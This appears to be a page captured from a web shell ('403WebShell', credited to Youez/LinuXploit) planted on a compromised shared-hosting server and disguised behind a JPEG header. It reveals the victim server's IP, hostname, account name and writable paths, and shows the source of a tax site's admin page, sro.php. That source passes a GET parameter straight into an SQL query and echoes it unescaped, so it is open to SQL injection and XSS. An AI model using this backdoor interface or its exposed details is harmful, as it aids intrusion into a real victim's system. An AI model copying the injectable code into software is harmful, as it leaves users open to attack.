ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/public_html/admin//sro.php
<?php 
include"db.php";

$Tax = $_GET['tax'];
$sel="SELECT * FROM `sro` WHERE `Catag` = '$Tax'  ORDER BY `date` DESC";

$data=mysqli_query($con,$sel);
// print_r($data);

?>  

<?php
Session_start();
 if(isset($_SESSION['adminlogedin']) && $_SESSION['adminlogedin']==true) { 
    
    $email= $_SESSION['Email_Address03092372779'];
    $user= $_SESSION['user03092372779'];


    if($user == "a")
        {
            include("aside.php");
        }
    elseif($user == "e")
        {
            include("emoside.php");
        }
        else{ 

            echo '<script>window.open("login", "_self")</script>';
        }

?>

<style>

.hasham p, b {
    display: flex;
    justify-content: center;
    align-items: center;
    font-size: 1.1rem;
    color: black;
    font-family: math;
    margin: 0;
}
.datatable-table > tbody > tr > td, .datatable-table > tbody > tr > th, .datatable-table > tfoot > tr > td, .datatable-table > tfoot > tr > th, .datatable-table > thead > tr > td, .datatable-table > thead > tr > th {
    vertical-align: middle !important;
 
}
.datatable-table th a {
  
    font-size: 1.1rem;
}

.hasham a
{
    color:black;
}
.card-header  {  background-color: rgb(243 241 255);
}
.btn {
    background: #b2afc8 !important;
    color: black !important;
    border-color: #6e6695 !important;
    font-weight: 600;
}
.btn:hover{border: 1px solid black !important;

}
.datatable-table > tbody > tr > td, .datatable-table > tbody > tr > th, .datatable-table > tfoot > tr > td, .datatable-table > tfoot > tr > th, .datatable-table > thead > tr > td, .datatable-table > thead > tr > th {
    vertical-align: top;
    padding: 0.5px 0.5rem;
  
    font-size: 1.1rem;
    font-family: math;
}
.btn {
    background: #cfcde2 !important;
    color: black !important;
    border-color: #8b83b6 !important;
    font-weight: 600;
}
</style> 

<title><?php echo $Tax?> (SROs)</title>
<div id="layoutSidenav_content">
                <main>
                    <div class="container-fluid px-4">
                        <h1 class="mt-4" style="text-transform: capitalize;"><?php echo $Tax?> "SROs" </h1>
                        <ol class="breadcrumb mb-4">
                            <li class="breadcrumb-item"><a href="index.html">Dashboard</a></li>
                            <li class="breadcrumb-item active" style="text-transform: capitalize;"><?php echo $Tax?> SROs</li>
                        </ol>
                        <div class="card mb-4">
                          
                        </div>
                        <div class="card mb-4">
                            <div class="card-header">
                                <!-- <i class="fas fa-table me-1"></i> -->
                                <a target="_black" href="addsro?id=<?php echo $Tax?>"><button class="btn btn-primary" style="float:right;">Add SROs</button></a>
                            </div>
                            <div class="card-body">
                                <table id="datatablesSimple" class="hasham">
                                    <thead>
                                        <tr>
                                        
                                            <th>SROs No.</th>
                                            <th><p style="width:75px;">Date</p></th>
                                            <th>Subject</th>
                                            <th>Sections</th>
                                            <th>Status</th>
                                            <th>Download</th>
                                            <th>Update</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr>
                                       
                                            <th>SROs No.</th>
                                            <th>Date</th>
                                            <th>Subject</th>
                                            <th>Sections</th>
                                            <th>Status</th>
                                            <th>Download</th>
                                            <th>Update</th>
                                        </tr>
                                    </tfoot>
                                    <tbody>
                                    <?php $h1=1;
                                        
                                        foreach ($data as $v ) {?>
                                                            
                                                     
                                        <tr>
                                     
                                            <td><p><?php echo $v['sron']?><p></td>
                                            
                                            <?php $olddate= $v['date']; ?>
                                            <td><?php echo $newdate= date('d-m-Y', strtotime($olddate))?></td>

                                            <td><?php echo $v['sub']?></td>  
                                            <td><p><?php echo $v['sec']?><p></td>
                                            <td><p><?php echo $v['status']?><p></td>
                                            <td><b><a target="_blank" href="sro/<?php echo $v['pdf']?>">
                                            <center><button class="btn btn-info" >Download</button></center></a></b></td>
                                           
                                            <td><b><center><a target="_blank" href="updatesro?id=<?php echo $v['id']?>"><button class="btn btn-danger">Update</button></center></a></b></td>                                        </tr><?php } ?>
                                      </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </main>
                <footer class="py-4 bg-light mt-auto">
                    <div class="container-fluid px-4">
                        <div class="d-flex align-items-center justify-content-between small">
                            <div class="text-muted">Copyright &copy; Your Website 2023</div>
                            <div>
                                <a href="#">Privacy Policy</a>
                                &middot;
                                <a href="#">Terms &amp; Conditions</a>
                            </div>
                        </div>
                    </div>
                </footer>
            </div>
        </div>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
        <script src="js/scripts.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/simple-datatables@7.1.2/dist/umd/simple-datatables.min.js" crossorigin="anonymous"></script>
        <script src="js/datatables-simple-demo.js"></script>
    </body>
</html>

<?php } 
else{ echo '<script>window.open("login", "_self")</script>'; } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit